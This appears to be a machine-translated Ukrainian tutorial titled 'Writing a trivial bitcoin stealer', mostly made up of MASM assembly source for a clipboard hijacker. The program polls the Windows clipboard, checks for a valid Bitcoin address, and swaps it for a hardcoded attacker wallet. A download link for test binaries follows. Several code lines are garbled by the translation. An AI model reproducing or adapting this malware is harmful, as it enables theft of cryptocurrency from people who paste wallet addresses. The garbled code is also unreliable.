Пишемо тривіальний стілер биткоинов

1

Давним-давно для WebMoney (і не тільки) був популярний вкрай простий спосіб отримати чужі фінанси: підмінити вміст буфера обміну Windows, якщо в ньому перебуває номер гаманця на свій номер. З введенням безлічі ступенів захистів даний метод перестали використовувати, так і ефективність була під питанням, не кажучи вже про необхідність змусити користувача запустити стороннє ПЗ, яке буде здійснювати підміну.
Випадок з Bitcoin відрізняється: підтвердження, по суті, відсутні, номери гаманців ще більш довгі, на конкретного користувача не поскаржишся…
Загалом, давайте реалізуємо простий софт, який буде аналізувати вміст буфера обміну і підміняти його, якщо виявить там дійсну адресу Bitcoin гаманця. Писати будемо на MASM, щоб було веселіше.

Для початку необхідно зрозуміти, як перевіряти адресу гаманця на правильність. У цьому нам допоможуть численні веб-сайти, що описують процес створення Bitcoin-адреси, а також приклад перевірки, нехай навіть і на PHP. З логікою перевірки розібралися. Приступимо до написання реалізації.
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32, user32, advapi32, masm32
.const
; Діапазон допустимої довжини адреси гаманця
wallet_len_min equ 27
wallet_len_max equ 34
; Код версії адреси
address_version equ 00h
; Набір символів, використовуваних в адресі
; Крім: 0 O I l
wallet_symbols db «123456789ABCDEFGHJKLMNPQRSTUVWXYzabcdefghijkmnopqrstuvwxyz», 0
; Адреса, на який буде замінюватися значення в буфері
wallet_replace db «14GzzUaiNuDZYxhW8xd9emTJDtCjXKJknt», 0
.data?
prov dd ?

Ми оголосили деякі допоміжні константи, які надалі знадобляться для перевірки адресу на коректність. З посилань вище зрозуміло, що нам доведеться робити функцію декодування для base58 і десь брати реалізацію SHA256. base58 реалізуємо самостійно, а SHA256… загалом скористаємося Microsoft CryptoAPI. Продовжимо.
.code
; Допоміжні функції
; Невелика функція для логування налагоджувальної інформації
log_message proc msg:dword
local buffer[256]:byte
invoke GetLastError
invoke wsprintf, addr buffer, chr$(«%s [%08X), msg, eax
invoke OutputDebugString, addr buffer
ret
log_message endp
base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
; Будемо спиратися на констаны, властиві для перевірки гаманця
; Розмір вихідного буфера не менше 25 байт (розширений RIPEMD-160 + 4 байт контрольної суми)]
; Декодування виключно під адресу гаманця,
; для абстрактної рядка в base58 функцію необхідно правити
; Заповнюємо вміст буфера нулями
xor eax, eax
mov ecx, 25
mov edi, out_buffer
rep stosb
mov esi, in_buffer
mov edi, out_buffer
m1:
; Нулл-байт у вхідному буфері — кінець декодування
movzx eax, byte ptr[esi]
test eax, eax
je m5
; Збережемо регістр на час сканування символу в eax
push esi
; Символ повинен бути з набору wallet_symbols
mov esi, offset wallet_symbols
m2:
movzx ebx, byte ptr[esi]
; Якщо байти збігаються, то символ не входить в набір допустимих
cmp eax, ebx
jz m3
; Якщо ми дійшли до кінця набору допустимих символів (нулл-байт)
; і все ще не вийшли з циклу, значить, символ не з набору
test ebx, ebx
je err0
; Продовжуємо перевірку
inc esi
jmp m2
m3:
; Помістимо в eax позицію знайденого в наборі символу
mov eax, esi
mov esi, offset wallet_symbols
sub eax, esi
;
Вкладений цикл з кінця вихідного буфера
mov ebx, 251
m4:
; N-й елемент буфера (з кінця) помножимо на 58
; і додамо до позиції згаданої вище
movzx ecx, byte ptr[edi + ebx]
imul ecx, 58
add eax, ecx
; Збережемо у вихідний буфер результат ділення із залишком
push ebx
cdq
mov ebx, 256
div ebx
pop ebx
mov byte ptr[edi + ebx], dl
; Поділимо позицію елемента на 256
push ebx
cdq
mov ebx, 256
div ebx
mov eax, edx
pop ebx
; Кінець тіла вкладеного циклу
dec ebx
test ebx, ebx
jne m4
pop esi
; Якщо в eax щось відмінне від нулл-байта,
; отже, адреса гаманця має некоректний розмір
test eax, eax
jne err1
inc esi
jmp m1
m5:
mov eax, 1
ret
err0:
pop esi
invoke log_message, chr$(«invalid symbol»)
mov eax, 0
ret
err1:
invoke log_message, chr$(«invalid address length»)
mov eax, 0
ret
base58_decode endp

Тепер у нас є функція декодування і невелика функція логування. Для кращого розуміння алгоритму base58 варто звернутися до Google, так як псевдокод або реалізація на мові високого рівня зазвичай простіше для розуміння. Перейдемо до простої обгортці над CryptoAPI, яка буде здійснювати обчислення необхідного хеша.
; Ініціалізація потрібного криптопровайдера
sha256init proc
invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
.if eax == 0
invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
.endif
ret
sha256init endp
sha256fini proc
invoke CryptReleaseContext, прос 0
ret
sha256fini endp
; Хешування SHA256
sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
local hash:dword
local aux:dword
; CALG_SHA_256 — 0x0000800c
invoke CryptCreateHash, прос 0000800Ch, 0, 0, addr hash
.if eax == 0
invoke log_message, chr$(«CryptCreateHash»)
jmp err
.endif
invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
.if eax == 0
invoke log_message, chr$(«CryptHashData»)
jmp err
.endif
mov aux, sizeof dword
invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
.if eax == 0
invoke log_message, chr$(«CryptGetHashParam — HP_HASHSIZE»)
jmp err
.endif
invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
.if eax == 0
invoke log_message, chr$(«CryptGetHashParam — HP_HASHVAL»)
jmp err
.endif
err:
.if hash != 0
invoke CryptDestroyHash, hash
.endif
ret
sha256 endp

У нас є все, що потрібно для щастя. Залишається основна логіка і трохи роботи з буфером обміну, але для цього ми скористаємося готовими функціями бібліотеки MASM.
; Функція перевірки адреси
validate_wallet proc uses esi edi, buffer:dword
local decoded[32]:byte
local digest1[32]:byte
local digest2[32]:byte
invoke lstrlen, buffer
.if eax wallet_len_max
invoke log_message, chr$(«wallet length error»)
jmp err
.endif
; Декодируем адресу base58
invoke base58_decode, buffer, addr decoded
.if eax == 0
invoke log_message, chr$(«base58_decode error»)
jmp err
.endif
; Перевіряємо версію
lea eax, decoded
mov al, byte ptr[eax]
.if al != address_version
invoke log_message, chr$(«address version error»)
jmp err
.endif
invoke sha256, addr decoded, 21, addr digest1, sizeof digest1
invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
; Порівняємо декодовану і посчитанную контрольні суми
lea esi, decoded
add esi, 21
lea edi, digest2
mov ecx, 4
repz cmpsb
jnz err
mov eax, 1
ret
err:
mov eax, 0
ret
validate_wallet endp
start proc
local clipboard_data:dword
invoke sha256init
.if eax == 0
invoke log_message, chr$(«sha256init»)
jmp err
.endif
.while TRUE
invoke GetClipboardText
.if eax != 0
mov clipboard_data, eax
; Перевіримо вміст буфера обміну і замінимо,
; якщо це адреса Bitcoin гаманця
invoke validate_wallet, clipboard_data
.if eax != 0
invoke log_message, chr$(«valid wallet detected»)
invoke SetClipboardTextEx, offset wallet_replace
.endif
invoke GlobalFree, clipboard_data
.endif
invoke Sleep, 500
.endw
err:
invoke sha256fini
invoke ExitProcess, 0
ret
start endp
end start

Ось власне і все. Зверну увагу на один момент: функція SetClipboardTextEx не відноситься до бібліотеки masmlib. Що вона з себе представляє? Це функція SetClipboardText з masmlib, але після виклику
invoke OpenClipboard,NULL ; open clipboard

я додав ще
invoke EmptyClipboard ; clear clipboard

Без цього функція вперто не хотіла змінювати вміст буфера обміну, принаймні на Windows 7. Не знаю, з чим це пов’язано, не розбирався.
Тепер все готово. Компілюємо і перевіряємо, також можна паралельно відкрити DebugView і дивитися, які налагоджувальні повідомлення виводить програма.
Пишемо тривіальний стілер биткоинов

Досвідченим шляхом нескладно переконатися, що при копіюванні коректного адреси через буфер обміну він замінюється на наш.

Вихідний код бінарники для тестів: скачати
kaimi.ru